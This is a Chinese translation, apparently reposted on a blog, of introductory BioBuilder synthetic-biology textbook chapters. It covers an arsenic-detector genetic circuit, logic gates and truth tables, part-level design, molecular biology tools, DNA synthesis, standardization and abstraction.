对于我们的砷检测系统,接线图非常简单,如图 2-6 所示。


FIGURE

图 2-6 砷检测系统的接线图。仍然是黑匣子的砷检测器设备连接到同样是黑匣子的颜色生成器设备,说明在存在砷输入的情况下进行颜色输出。


如图 2-6 所示,这只是我们已经口头描述的内容的直观表示;砷是砷传感装置的输入,当砷存在时,它会产生一个信号作为输出。然后,该信号充当颜色生成设备的输入,生成颜色作为输出。随着系统变得更加复杂,这些图表会变得更加复杂。您可以在后面的逻辑设备描述中看到一些其他示例和变体。

逻辑设备

真值表是一种表达系统如何响应不同输入组合的方式,我们称之为响应的布尔“逻辑”。

想象两种化合物,A 和 B。根据 A 和 B 的身份以及特定系统的目标,我们可能会设计对这两种化合物组合的不同响应。为了说明,让我们进一步阐述我们一直在考虑的砷检测系统,并想象我们想要感知环境中的许多化合物。为了保持一般性,我们将化合物称为 A、B、C 等。也许 A 和 B 本身都是有毒的,所以我们希望我们的系统在它们中的任何一个存在时做出响应。或者,也许两者都不是单独的有毒物质,但如果它们都存在,它们会发生反应以产生有毒化合物 C。在这种情况下,我们只希望我们的系统在两者都存在时做出反应。

我们可以在真值表中表示这两种情况。 真值表代表所有可能的输入组合,并为每个组合指定一个输出。输入列在两个表之间不会改变。相反,输出取决于系统的逻辑和存在的输入。例如,以下是在 A 或 B 存在时应触发的系统的真值表:

输入 A   输入 B 输出
0 0 0
0 1 1
1 0 1
1 1 1

这样的真值表表示或门的操作,在接线图中给出了如下所示的特定符号:

FIGURE

这是第二个系统的真值表,只有当 A 和 B 都存在时才应该触发:

输入 A   输入 B 输出
0 0 0
0 1 0
1 0 0
1 1 1

下一个真值表代表一个与门,它由一个与或门的符号略有不同但有意义的符号表示:

FIGURE

还有其他种类的输入和输出的逻辑组合不同于 AND 和 OR 门所描述的那些。例如,布尔非门是将输入信号反转为相反的门。它显示在下面的真值表中,并在下图中象征性地显示(注意非门只接受一个输入):

输入 A   输出 F
0 1
1 0

FIGURE

通过这种视觉语言和逻辑门的一些简单组合,可以构建非常复杂的系统,包括电子系统和生活系统。例如,以下 NOR 门的真值表与 OR 门的表正好相反:

输入 A   输入 B   输出 F
0 0 1
0 1 0
1 0 0
1 1 0

FIGURE

在视觉上,或非门表示为一个在右端带有一个圆圈的或门,在其函数中添加一个非并使其成为一个或非门。

启动合成生物学领域的关键研究出版物之一建立了一个在生命系统中运行的 NOR 门。这项工作来自波士顿大学詹姆斯柯林斯博士的实验室。他的研究小组使用遗传部件构建了两个 NOR 逻辑门,并将它们交叉连接以创建一个锁存器。

部件级设计

当您在部件级别进行设计时,您开始(终于!)讨论您的设备如何实际执行分配的任务。让我们回到我们的远足计划上。在那种情况下,有一些路径和预先存在的方法可以实现基本计划。同样,在规划基因程序时,有一个生物“部件”工具箱来构建设备。这些部件包括编码转录因子或荧光蛋白的 ORF、使 RNA 聚合酶开始转录的序列(“启动子部件”),以及编码基因表达调节因子的各种序列,仅举几例。世界上存在的部件数量几乎是无穷无尽的,而且完全是压倒性的。然而,有一些生物部件的目录,例如标准生物部件的登记册,以促进这种基于部件的生物设计方法。您可以在这些开放目录中找到的部件和设备已记录在案,目的是您可以将这些部件重新用于新的生物设计项目。

FIGURE

为了说明部件级设计,让我们最后一次回到砷检测系统。该系统需要能够检测砷的设备,以及将砷的存在与否传送到系统中的下一个设备(即显色设备)的某种方式。有多种方法可以构建砷检测装置。一种直接的方法是基于自然界中发现的一种对砷敏感的蛋白质。 实现砷检测器装置可以通过三个简单部件的组合来完成,即启动子(右上箭头)开始转录设备的 DNA,核糖体结合位点(上半圈)开始翻译其 mRNA,并使用 ORF(长播放按钮)来编码砷敏感蛋白。类似地,颜色生成装置可以由简单的启动子部件、核糖体结合位点部件和导致溶液或细胞本身颜色变化的 ORF 构成。

按照设计,这些设备会感应砷或产生颜色,但为了将信息从一个设备传输到另一个设备,我们需要有点聪明。 为了使砷检测器能够与颜色发生器“对话”,砷检测器的输出必须影响颜色发生器的输入。一种常见的方法是让第一个装置的输出是一种可以调节第二个装置的转录速率的蛋白质。在这种情况下,砷结合蛋白也是一种转录抑制因子,在没有砷的情况下,它会与产生颜色的基因的启动子结合,从而阻断其表达。砷在存在时会与砷结合蛋白结合,使其构象发生改变,使其不再与启动子结合,从而释放启动子以转录产色基因。随着我们继续探索合成生物学系统,您将看到这个主题的许多变化。

像这样的语言描述很难理解,所以我们有另一种视觉语言来表达遗传回路的工作原理,如图 2-7 所示。


FIGURE

图 2-7 将“黑匣子”设备拆开包装。砷检测装置和显色装置均由启动子、RBS和ORF组成。在没有砷的情况下(上图),ORF 1 的产物会抑制启动子 2,因此颜色生成器“关闭”。在砷存在的情况下解除抑制(底部面板)使颜色生成器设备可以“打开”。


图 2-7 中的图表显示,在没有砷的情况下,砷检测设备的输出将抑制显色设备的功能。当砷存在时(如果井水被污染),抑制作用就会解除,在这种情况下,通过另一种抑制剂的作用,允许第二个设备打开颜色生成。

与在抽象层次结构中的每个其他级别做出的设计选择一样,这里也有根据您尝试设计的系统的细节做出的决定。例如,所有启动子部件都是转录因子和 RNA 聚合酶结合的短 DNA 序列,它们总是位于基因的上游,将 DNA 转录成 mRNA 链,然后核糖体将其转化为蛋白质。但是,有许多不同的启动子,有的强,有的弱,还有一些可以以有趣的方式进行调节,因此选择合适的启动子也是设计过程的一个重要方面。砷检测系统要求砷检测蛋白持续存在,因此选择该 ORF 的启动子是因为它可以保持“开启”状态。这种类型的启动子被称为组成型启动子,并且注册表中有许多组成型启动子。注册表中还有一些不适合该系统的启动子。例如,一些称为诱导型启动子的启动子在特定条件下(例如糖的存在或附近生长的细胞数量)具有活性。您不希望为砷检测装置使用诱导型启动子,因为这将导致只有在某些化合物或条件存在时才会表达砷检测蛋白。不过,这种诱导型启动子可能正好适合构建其他系统。

在指定最终所需的序列后,有几种构建它的策略。这些组装策略的详细信息是 DNA 工程基础章节的主题,但简而言之,大多数 DNA 组装涉及从头 DNA 合成和分子生物学工具(如 PCR、限制性内切酶和分子克隆)的组合。

下一步是什么?

FIGURE

在本章中,我们介绍了生物设计的基础知识,并说明了在您进行自己的设计时可能有用的不同抽象层和符号表示。我们强调的一个想法是,在您完成设计过程时,没有“正确”或“错误”的答案。回到本章开头的类比,设计是一段旅程。 在您努力开发您的生物设计时,您肯定会经历一些错误的开始和错误的转折,但这些都是学习经验,而不是错误,这将帮助您更好地了解您的系统并在您完成设计过程时为您的设计过程提供信息设计-构建-测试迭代的循环。

当然,设计只是第一步,我们将在本章结束时对下一阶段进行简短的探索,即设计的实现。再次回到我们的背包类比,这次旅行的实施将涉及购买或制造必要的设备、打包行李、到达登山口,然后开始徒步旅行。在徒步旅行期间,您可能会花一些时间看看您面前的地面,确保您不会被树根绊倒,或者可能会注意到一朵野花;其他时候,您可能会休息一下,抬头欣赏周围的整个环境,或者在到达半穹顶时欣赏一览无余的景色。您可能会偏离轨道一次或两次(或更多),或者您可能会意识到您计划的原始路线实际上并不是您想要采取的路线并改变您的计划。您可能会变得过于脱水,甚至无法到达半穹顶的顶部。尽管这样的失败可能会令人沮丧,但您将学到一些有关您的设计的知识,这将帮助您改进下一次旅行的计划。无论结果如何,您都将拥有全新的知识财富,可以将其应用于下一次设计迭代。

FIGURE

购买或制造远足设备对应于购买或制造我们的生物设计所需的 DNA 序列,您可以将打包行李视为在需要它们的地方插入这些 DNA 序列,以构建设计的生物体。然后,到达起点并开始徒步旅行是我们设计的测试过程。我们可以进行不同类型的测试来查看设计的各个元素,比如小野花,我们还可以进行测试来调查系统的整体行为,比如从半穹顶的顶部看风景。同样重要的是要记住,这是完全正常的,预计会出现一些错误的转弯,改变我们对想要走的路线的想法,或者有时会意识到我们不会达到我们想要的结果。在所有这些情况下,我们可以利用我们在此过程中学到的知识来改进我们设计的下一次迭代

就像我们假设的背包旅行一样,您可以将生物设计及其相关实施视为一次旅程。在那段旅程中,我们最终从不同的角度和抽象级别来看待我们的系统,我们发现自己使用不同类型的工具来实现我们的目标,毫无疑问,我们在走上正轨之前会走错路。只要我们密切关注系统的行为方式,我们就会一路学习,这将提高我们的理解和下一次设计迭代。

额外阅读和资源

  • Danchin, A. 扩充合成生物学:不要忘记基盘。FEBS Letters 2012; 586(15): 2129-37。
  • Galdzicki, M. 等,合成生物学开放语言 (SBOL) 为合成生物学中的设计交流提供了社区标准。Nature Biotechnology 2014; 32: 545-50。
  • Gardner, T. S., Cantor, C. R., Collins J. J. 在大肠杆菌中构建基因切换开关。Nature 2000; 403(6767): 339-42。
  • Marchisio, M. A., Stelling, J. 数字合成基因电路的自动设计。公共科学图书馆 2011;DOI:10.1371/journal.pcbi.1001083。
  • Oremland, R. S., Stolz, JF. 砷的生态学。Science 2003; 300(5621): 939-44。
  • 网站:砷检测器 iGEM 项目 ( http://bit.ly/arsenic_detector )。
  • 网站:生物部件登记处 ( http://parts.igem.org/Main_Page )。
Read More

2022-07-25
合成生物学基础

第1章 合成生物学基础

欢迎来到 BioBuilder 计划!我们很高兴您想将合成生物学工具带入您的课堂。在线,我们有多种材料帮助您入门,包括一些实用的实验室视频教程、Microsoft PowerPoint 幻灯片、课程指南和实验室工作表。在这本书面手册中,我们介绍了合成生物学的基本思想、在该领域和 BioBuilder 实验室中探索的生物学的一些关键方面,以及在 BioBuilder 程序中运行实验时使用的一些有用信息。在本章中,我们将介绍合成生物学的基本概念,解释它与传统生物化学和基因工程的不同之处,并开始探索一些基本的工程原理,这些原理将告知我们如何使用合成生物学解决问题。

什么是合成生物学?

在最基本的层面上,合成生物学家或生物建设者想要改造活细胞来做一些有用的事情。例如,治疗疾病、感知环境中的有毒化合物或生产有价值的药物。如图 1-1 所示,合成生物学家通过改变生物体的 DNA 来实现这些结果,使其行为“符合规范”,正如工程师所说的那样——基本上,它按照生物建造者的意愿行事。


FIGURE 1-1

图 1-1 合成生物学的目标。合成生物学旨在编写 DNA(左),指导细胞或有机体(右)按照设计规范行事。


我们可以将细胞视为复杂的微型工厂。DNA 提供指令以制造工厂中的所有机器——蛋白质、其他核酸、多组分大分子复合物等等。这些“机器”然后执行细胞的工作。有机体的天然 DNA 使细胞能够满足其基本的生存和繁殖需求。合成生物学家可以改变细胞的 DNA,使细胞具有新的有用功能(图 1-2)。我们将在本章后面更多地讨论研究人员如何改变生物体的 DNA。


FIGURE 1-2

图 1-2 当今的合成生物学。目前,合成生物学家通常会设计一部分 DNA(左)并将其与现有的细胞或有机体(中)结合,以便新的细胞或有机体(右)按照设计规范行事。


最终,合成生物学家希望能够使用设计的 DNA 从头开始构建专门的生物体。该领域还没有。目前,大多数努力都涉及对已经存在的生物体进行改造,而不是构建全新的生物体以新的方式行事。

为什么选择合成生物学?

合成生物学家所针对的许多挑战可以通过其他工程学科来解决,例如电气、化学或机械工程,但合成生物学的解决方案提供了一些独特的优势。最引人注目的是,细胞可以复制自己。汽车不能自我复制——你需要一个工厂来制造汽车。此外,即使营养很少,一些生物也可以非常迅速地复制自己。例如,在实验室中,大肠杆菌可以在大约 30 分钟内复制和分裂。因此,合成生物学是生产大量特定产品的一种有吸引力的方法,因为我们可以相对容易地培养程序化细胞以满足大规模生产的需求。单元还充当生产的物理工厂,提供其他工程解决方案应对相同挑战所需的大部分“实体”基础设施。最后,快速分裂单元的使用还有助于原型设计和测试,这对于设计周期非常重要,稍后我们将更详细地讨论。其次,细胞包含执行许多复杂任务的生物机制——例如特定的化学反应——否则即使不是不可能,也很难完成。而且,他们以纳米级的精度做到这一点,这在任何传统的制造设施中都难以复制。此外,当它们的纳米级机器发生故障时,细胞具有自我修复的机制,至少在一定程度上,这使它们比更典型的基于工厂的生产过程具有更大的优势。细胞复杂性也引入了需要考虑的障碍,但它的潜在效用是巨大的。第三,合成生物学具有为许多难题提供环保解决方案的潜力。必然地,合成生物学应用的副产品通常是无毒的,因为大多数有毒化合物会杀死正在工作的细胞。此外,利用天然细胞系统通常会产生经济的过程。今天的化合物工业生产消耗大量能源,通常会产生大量对环境有害的废物,并且经常需要高温或高压。超越它作为解决现实世界挑战的有用性,合成生物学也是了解更多自然系统运作的绝妙方法。随着研究人员剖析日益复杂的细胞功能,他们可以使用合成生物学从其他角度检验他们的假设。例如,如果他们的生化研究结果表明某种蛋白质充当一种开/关开关,他们可以通过用已知会表现出开/关行为的蛋白质替换现有蛋白质来测试这一结果。如果新的合成系统和天然系统的行为相似,则该结果提供了进一步的证据,表明天然蛋白质就像研究人员所怀疑的那样。你可能想知道:我们对细胞的了解是否足以可靠地设计它们,如果没有,我们真的应该尝试吗?有许多合成生物学特有的合理恐惧和担忧。诚然,诸如灯泡和电报之类的其他发明是在没有完全了解电物理的情况下设计的,但生命工程除了传统工程领域面临的挑战之外,还面临着额外的实践、道德和伦理挑战。例如,进化可以使经过精心编程的 DNA 发生突变,从而破坏细胞的工程功能。如果合成细胞以意想不到的方式与该生态系统中的现有生物相互作用,则在环境中复制合成细胞可能会造成危险。而且,当我们开始将细胞视为为执行我们的指令而建造的微型活机器时,合成生物学引发了一些哲学问题。任何要求我们重新考虑与自然世界互动的技术都必须谨慎处理。研究人员、生物伦理学家和政府组织正在积极讨论这些问题,并努力以负责任的方式开发合成生物学,从而改善生活世界。我们在生物伦理学基础章节中更深入地探讨了这些问题。我们仍处于这一发展学科的早期阶段。如前所述,合成生物学家还不能从零开始制造生物体。目前,它们主要在现有生物的框架内工作。此外,迄今为止的研究主要针对相对简单的单细胞生物,例如细菌(尤其是大肠杆菌)和酵母(S. cerevisiae),尽管在植物和哺乳动物细胞等更复杂的系统中也取得了一些早期成功。然而,随着该领域的发展,工程越来越复杂的系统将进一步扩大合成生物学的潜在应用和益处。

FIGURE

上下文中的合成生物学

合成生物学方法可能会让你想起基因工程,研究人员在基因工程中对生物体的基因组进行小规模的合理改变——例如从小鼠身上移除基因或将人类基因添加到果蝇中——以研究系统的行为。合成生物学家使用许多与基因工程师相同的工具,我们将在后面更详细地讨论,但合成生物学和基因工程在他们旨在做出这些改变的规模上有所不同。遗传工程师通常会引入一两个小的变化来研究特定系统,而合成生物学家的目标是设计新的基因组并大规模重新设计现有的基因组。合成生物学潜在规模的一个说明性(尽管是幻想)的例子是对一棵树的基因重新编程,以便它根据合成生物学家设计的基因指令长成一个功能齐全的房子。这样的系统将利用树木的自然程序(通过从环境中吸收一些养分来生长)并将其用于社会需求。然而,对一棵树进行基因编程以长成一所房子,目前远远超出了传统基因工程的规模以及合成生物学的能力。

FIGURE

为了完成如此大规模的设计目标,合成生物学家正在建立一个结构化的工程和设计学科,我们将在下一节介绍其原理。合成生物学家还利用生物化学家、分子生物学家和遗传学家多年来获得的有关生物系统如何工作的丰富知识。具体而言,科学研究产生了:

  • 合理表征的模型系统,例如大肠杆菌、酵母、藻类和各种类型的哺乳动物细胞培养物,为合成生物学探索提供了坚实的基础
  • 来自大量生物体的丰富序列数据,包括细菌、人类、蚊子、鸡、狮子、老鼠等等,以及用于序列比较和分析的工具
  • 移动、重新排序和合成 DNA 以创建新序列的分子工具

合成生物学家将这些发现和成功作为他们可以应用工程思维来解决现实世界问题的基础。合成生物学的跨学科性质是由图 1-3 建议。


FIGURE 1-3

图 1-3 合成生物学的跨学科性质。合成生物学家将分子生物学(左)的丰富知识和技术与工程原理(右)相结合,包括作为工程学科标志的设计-建造-测试周期。


工程与设计概论

工程师根据设计规范构建必须一致运行的复杂系统。为了实现他们的目标,工程师在设计、构建和测试阶段循环,通常对不同的设计进行快速原型设计,以找到最有希望的方向。这个过程类似于科学方法,研究人员通过假设、实验和分析循环。主要区别在于,科学方法旨在了解事物如何工作的精确细节,而工程方法不会关注设计工作的原因,只要原型测试成功即可。这些差异在“生物设计基础”一章中进行了更深入的讨论。在这里,我们介绍一个非常简单的例子来展示不同类型的工程师如何解决一个问题:给室内植物浇水。通过考虑不同的工程学科如何解决这个问题,我们将介绍一些设计基础,并说明合成生物学家如何应用类似的思维方式和方法。

“传统”工程解决方案

有些人天生就有绿拇指,但有些人需要一些额外的帮助;否则,他们的植物最终会看起来干瘪干瘪。不同类型的工程师会根据他们的专业知识以不同的方式解决这个植物浇水问题。例如,机械工程师可能会设计一个圆底重量不均匀的花盆。当底部的水箱装满水时,它会起到平衡的作用,使锅保持笔直。随着植物吸收水分,配重减少,花盆开始翻倒。这个视觉指示器将明显地提醒所有者植物需要水。也许倾斜的植物甚至可以打开水龙头给自己浇水。通过对系统进行工程反馈,当植物被浇水时,花盆会重新站立起来,从而形成一个闭环控制系统。

FIGURE

这种设计的一个潜在并发症是一些植物比其他植物需要更多的水,因此设计师可能需要在底部创建许多不同重量的不同花盆,园丁们需要确保为他们的植物购买正确的花盆.这些类型的考虑是设计过程中不可或缺的。没有设计是完美的,在考虑最佳实施方式时,了解任何提议设计的优势和局限性非常重要。

电气工程师可能会提出一种完全不同的浇水问题解决方案,其中涉及电子湿度传感器和自动浇水。她的系统可能由许多电子部件组成:电线、电阻器、电容器、湿度传感器、电路板等等。不同的部分可以协同工作来监控系统,确定植物何时需要水,然后在需要时提供水。

FIGURE

这种电气工程解决方案需要标准化,这是所有工程领域的一项重要原则,我们将在本章后面讨论这一原则。在这个植物浇水示例中,每个标准化的电子组件都由它可以执行的特定独立功能定义。这些组件的制造符合一系列行业标准。基本部件的这种标准化使得它们可以轻松可靠地相互连接,而不会影响它们的行为。这种标准化简化了设计,使工程师能够了解某个部件的行为方式以及它如何与其他部件结合以产生所需的结果。它还简化了制造,使工厂能够为数百万种不同的产品生产数百万个相同的电阻器。合成生物学尚未达到这种标准化水平,但正试图朝那个方向发展。

工程工具包

这两个针对植物浇水挑战的传统工程解决方案示例说明了如何使用多种设计来解决即使是相对简单的问题。这些方法在很大程度上受到每个工程学科中可用的“工具包”的支配和影响。一般来说,每种方法都来自一个工具包,其中包含几个不同的零件,例如需要组装在一起的螺母和螺栓,以及一些组装零件的方法,例如用于组装零件的锤子和螺丝刀。该工具包还包含指导每个领域的概念和想法。工具包的特定元素在不同学科之间往往有很大差异。例如,机械工程师的工具包包含具有多种属性的材料即金属、塑料和混凝土,以及操作材料的工具和方法,包括锯和焊机。重力是他们在设计中使用的概念的一个例子。另一方面,电气工程师拥有完全不同的工具包。他们的零件包括电线、电阻器、电容器和电路板,并且他们开发了自己的高度专业化的制造工艺来制造和组合这些零件。电气工程理念进一步利用了对电信号的现代理解。为了使合成生物学成为一门成熟的工程学科,合成生物学家必须定义他们的工具包。与机械工程和电气工程一样,这些工具将包括需要组装在一起的零件以及组装它们的方法;当然,这些部分和方法将特定于生物学。合成生物学工具包中的许多工具都源自分子生物学。在下一节中,我们将介绍这些先前存在的工具包的一些组件,并探讨它们是如何在合成生物学工具包中实现的。

合成生物学工具包

为了探索合成生物学工具包,让我们首先考虑生物学家如何应对植物浇水挑战。从广义上讲,他们会使用基因工具来改变植物本身。这种方法可以采取许多不同的形式。例如,一种解决方案可能使用在变色龙中发现的一种基因,该基因负责根据压力改变颜色。这个基因有可能被插入到植物中;因此,它们可以改变颜色以在需要水时提醒我们。这种方法类似于机械工程师添加视觉指示器(锅翻倒)以帮助所有者记住植物何时需要水的方法。也可能有一种更类似于电气工程解决方案的生物解决方案,它使工厂的所有者完全无需提供水。如果有可能从仙人掌植物中分离出一两个基因——或者甚至更古怪的是,从骆驼中分离出一两个基因,以帮助这些生物体在沙漠栖息地承受非常低的水供应?插入植物中的这些基因也可能帮助它们在很少的水的情况下生存。这两种解决方案都可以用今天的分子生物学工具来解决,但是这些类型的小修改不符合合成生物学家的目标,即大规模基因组操作的目标,而这对于诸如从种子。这种批发基因组设计需要一个完整的工程工具包。这样的工具包必须从分子生物学和基因工程的既定领域的贡献开始并建立在这些贡献之上。

分子生物学工具包

分子生物学家多年来一直在开发以不同方式操纵 DNA 的方法。以下是在合成生物学中广泛使用的三种最关键和最成熟的技术:

  • 读取 DNA 代码
  • 复制现有的DNA序列
  • 将特定的 DNA 序列插入现有的 DNA 链中

这些技术经过多年的分子生物学研究已经成熟,研究人员继续开发新技术来改进这些过程。 Frederick Sanger 博士和 Walter Gilbert 博士于 1977 年使用链终止化学开发了强大的 DNA 测序技术,这使得准确确定长 DNA 链中 Gs、As、Ts 和 Cs 的模式成为可能。 1983 年,当 Kary Mullis 博士开发了聚合酶链式反应 (PCR) 时,实验室中现有 DNA 序列的常规复制开始了。 PCR 是一种强大的方法,它使用细胞蛋白质复制 DNA 和研究人员提供的遗传模板来合成大量特定的 DNA 序列。最后,Paul Berg 博士、Stanley Cohen 博士和 Herbert Boyer 博士在 1970 年代开发了重组 DNA (rDNA) 技术,研究人员可以利用该技术轻松而精确地结合来自不同来源的 DNA 序列,包括不同的生物体,主要基于各种天然存在的蛋白质称为限制性内切酶,可在特定序列切割 DNA。这些方法的灵感来自并使用了自然发生的细胞过程的工具。表 1-1 说明了这些相似之处。


表 1-1 分子生物学工具包及其自然起源

工具 分子生物学技术 自然细胞过程
读取 DNA 测序 DNA 复制
复制 DNA PCR DNA 复制
插入 DNA rDNA 与限制性内切酶和连接酶 防御感染、DNA 重组和修复

分子生物学

DNA 复制是一种自然发生的细胞过程,它从现有的 DNA 模板中产生新的 DNA 序列,通常是为了产生新的遗传物质,以便细胞可以分裂。这个过程因人而异在不同的物种中,可能需要许多蛋白质来解开 DNA 并启动复制,但关键要求如下:


DNA聚合酶

将核苷酸添加到生长链中的酶。

DNA引物

这是一条已经合成的 DNA 短链,与要复制的序列的开头结合(DNA 聚合酶只能将新碱基添加到现有链上)。

游离核苷酸碱基

游离的 A、T、C 和 G 核苷酸,统称为 dNTP,可在细胞中添加到生长链中。

Sanger测序是一种确定DNA片段序列的实验室技术。研究人员将他们想要测序的 DNA 与 DNA 引物、DNA 聚合酶和 dNTP 混合以开始复制。混合物中还添加了少量修饰的碱基,一旦掺入就会停止链伸长。这些修饰的碱基也被标记,通常带有放射性或荧光,每个碱基都有一个独特的标签。中断复制过程产生的片段可以根据大小进行排序,并根据每个片段末端修饰碱基上的标签读取序列。

PCR 是一种实验室技术,用于创建现有 DNA 片段的多个副本。这个过程模拟了自然的 DNA 复制。研究人员将所需的 DNA(称为“模板”)、指定复制开始和结束位置的引物、DNA 聚合酶和 dNTP 结合起来。然后将混合物循环通过促进不同步骤的不同温度。首先,将混合物加热至高温,使所有 DNA 碱基不成对。然后降低温度,使引物与模板 DNA 结合。最后,稍微升高温度以使 DNA 聚合酶发挥作用。该过程重复多次以创建所需 DNA 片段的许多副本。

限制性酶是稀有的天然存在的酶,也可用于实验室,可在特定碱基序列处切割 DNA,以产生钝端或“粘性”末端;也就是说,在双链 DNA 末端有几个未配对的碱基。当具有互补粘性末端的 DNA 片段结合在一起时,它们会相互结合,形成一个新的序列,如图 1-4 所示。


FIGURE 1-4

图 1-4 用限制性内切酶切割的 DNA。黑色和蓝色条对代表双链 DNA,颜色编码以显示它已被限制性内切酶切割以留下互补的“粘性末端”(左)或“平末端”(右),可以重新连接,如图所示。


质粒是一种小的圆形 DNA 片段,最常见于细菌中,独立于染色体 DNA 持续存在于细胞中。它们在分子生物学中用于将设计的遗传系统转移到感兴趣的细胞中。当用于此目的时,它们通常被称为“向量”。

为合成生物学扩展的工具包

尽管这些方法已经存在很多年并且在研究中得到了很好的应用,但它们对于合成生物学来说还不够。例如,它们可能足以将变色龙的基因插入植物中,但它们无法使植物可靠地重新编程以长成两居室、两间浴室的房子。因此,我们使用术语基因工程而不是合成生物学来指代宿主生物体中相对小规模的基因操作,可能最多改变少数几个基因。

另一方面,合成生物学渴望编写和重写整个基因程序以创造有用的功能和产品。为了实现这些更雄心勃勃的工程目标,合成生物学家将他们的工具包扩展到传统基因工程之外,还包括来自更成熟的工程学科的设计原则。他们会经常借鉴工程语言,这为思考设计提供了有用的框架。

FIGURE

这些额外的工具在很大程度上仍处于开发阶段,包括:标准化、抽象化和从头 DNA 合成。标准化和抽象都直接来自其他工程学科的工具包,而 DNA 合成是合成生物学独有的工程工具。稍后我们将更详细地描述这些主题,但以下是简要定义:


DNA合成

这是一种在没有预先存在的物理模板的情况下化学生产 DNA 链的过程,在合成生物学中的使用范围比分子生物学所需的要广泛得多。

标准化

这种方法旨在生成一组组件,这些组件可能在多个系统中有用,并且可以针对不同的结果进行重新组合。

抽象

这是构建复杂系统时管理详细信息的工具。有了它,设计人员可以“完成工作”,而无需牢记系统的每个细节是如何工作的。在实践中,工程师使用不同的级别抽象取决于它们在设计-构建-测试周期中的位置。

DNA合成

DNA 可以通过一系列简单的化学步骤产生,这些步骤与将一个构建块添加到另一个构建块的任何一组化学反应没有根本不同。在 DNA 的情况下,这些构件是核苷酸,但由构件制成的聚合物的其他例子包括由氨基酸制成的蛋白质和由乙烯单体制成的聚乙烯。在细胞中,DNA 是使用大分子复合物合成的,这些复合物将每个后续核苷酸添加到现有的 DNA 链中。在实验室中,化学家已经开发出替代方法,通过将核苷酸化学附加到不断增长的核苷酸链上来生产 DNA。无论是在细胞中还是在实验室中制造,合成的 DNA 都必须具有正确的序列。在细胞中,DNA 序列基于提供序列信息的现有模板链。另一方面,合成生物学家经常设计不存在模板的新序列。当没有模板链可跟随时,它们通过使用数字序列信息确定合成 DNA 的核苷酸顺序。借助这项技术,合成生物学家可以编写以前从未编写过的新 DNA 序列。

FIGURE

通过这种方法可以产生的 DNA 链的长度存在一些限制,但最近 Craig Venter 博士及其同事合成了一个完整的功能基因组达到了一个里程碑。这一成就同时证明了化学 DNA 合成作为合成生物学工具包的核心组成部分的潜力,并引发了对其使用的伦理担忧。研究人员使用化学合成重建了蕈状支原体细菌的基因组,以生成多个短 DNA 片段。他们在序列中添加了一些他们称之为“水印”的小变异,然后将这种合成的 DNA 插入到微生物(面包酵母)中,并在那里组装成完整的基因组。最后,他们将基因组移植到山羊分枝杆菌中,替换了该细菌现有的基因组,基本上将山羊分枝杆菌的外壳转化为蕈状分枝杆菌。这一进展听起来很像玛丽雪莱著名小说作品中的弗兰肯斯坦怪物,刺激了总统生物伦理问题研究委员会,并导致了一份报告,新方向:合成生物学和新兴技术的伦理,该报告涉及与合成生物学和成熟的 DNA 合成技术相关的潜在伦理问题。

标准化

标准化是任何工程学科的重要组成部分,因为它有助于设计人员能够重用零件、与其他团队合作并高效工作。对于电气工程,这种标准化意味着设计人员可以相对容易地将各个部件连接在一起,以便他们可以相互“交谈”。对于合成生物学家来说,标准化使 DNA 片段能够在物理和功能上相互连接。组装的物理标准使所有 DNA 部件都可以通过通用策略连接到其他部件。这类似于机械工程师可以将任何螺母连接到任何螺栓的方式,因为这些部件都使用标准尺寸的螺纹。细胞环境和生物系统的复杂性使标准组合变得困难。尽管如此,人们仍在努力定义 DNA 组装的标准,以便合成生物学家拥有一组可靠的部件,并在他们想要使用它们进行构建时找到标准化的遗传元件,如启动子或阻遏物。 DNA 部分的物理标准化在 DNA 工程基础章节中有更详细的讨论。但是,成功地将各个部分组合在一起并不能保证它们会按预期工作或可以互换。另一个考虑因素是功能标准化,这意味着无论在什么情况下,遗传部分都将可靠地编码特定行为。合成生物学中实现这一可预测功能目标的一种方法是用数字术语表征细胞的行为:一段 DNA 要么“开启”(即由细胞表达),要么“关闭”(未表达)。我们生活中的所有电子产品都熟悉这种数字原理。我们的电视和手机要么开着(即使它们正在“睡觉”),要么关着。这种全有或全无的行为使得连接不同的部分变得相对容易。当电视接收到遥控器的输入以打开时,它会激活并提供视频和音频输出。同样的原理也适用于构成电路的组件:每个组件都接收输入,“开”或“关”,这决定了它的输出,“开”或“关”。这是对电路的高度简化的描述,但由于“开”和“关”状态是跨部件标准化的,电气工程师可以连接部件并预测e 电路的行为。合成生物学家也在尝试开发类似的“数字标准”,将基因或酶描述为“开启”或“关闭”。当然,大多数生物行为(如转录或酶活性)并不是完全数字化的,但只要我们小心,这个类比就足够了。使用这种方法,我们可以使用其他电气工程模式,例如接线图和真值表,来帮助我们设计系统。这些工具在“生物设计基础”一章中有更详细的描述。


iGEM

国际基因工程机器 (iGEM) 竞赛将标准化概念应用于 DNA 部分。这场比赛汇集了来自世界各地的大学生和高中生来回答这个问题:“简单的生物系统能否由标准的、可互换的部件构建并在活细胞中运行?”第一场比赛于 2004 年举行,起初只有五所学校和少数学生,但到 2014 年,比赛共有来自 34 个国家的 295 支队伍参赛。每个 iGEM 团队都面临着使用 iGEM 标准生物部件注册表中的标准化部件设计和构建新生物系统的挑战。这些部件具有标准化的连接点,允许它们通过一致且可重复使用的装配方案进行物理连接。团队只能使用四种限制性内切酶和标准化 DNA 部分的 iGEM 库来组装遗传电路并进行更复杂的遗传元素排列。标准生物部件的重复使用是来自不同学校的团队可以共享试剂并加速每个人在他们的夏季项目中取得进展的一种方式。我们在 BioBuilder 计划中进一步探索了几个 iGEM 项目,一个涉及气味,一个涉及颜色。

抽象

通过抽象,合成生物学家可以设计复杂的部件、设备和系统,而不必担心它们如何工作的每一个细节。相反,重点是最终目标,即最终的系统输出或行为。在实践中,任何新系统的设计都会非常自然地使用抽象级别。在设计过程的开始,我们经常会广泛地考虑可能的解决方案,而很少担心它们的实现细节。随着问题和解决方案被分解成更小的部分并变得更加明确,一些早期的抽象变得具体,以便我们可以实际构建和测试设计的系统。抽象对于合成生物学尤其重要,因为细胞环境和细胞过程非常复杂。如果我们试图了解每一个新设计的每一个细节,我们将不得不缓慢地通过我们的想法。相反,我们可以将细菌细胞视为“黑匣子”(见图 1-5)。换句话说,我们不需要纠结于细胞内每条通路的细节,尤其是在开发初始设计时。


FIGURE 1-5

图 1-5 将单元格视为黑盒。合成生物学是通过抽象实现的,它允许在不考虑细胞内每条通路的所有细节的情况下对细胞进行工程改造。


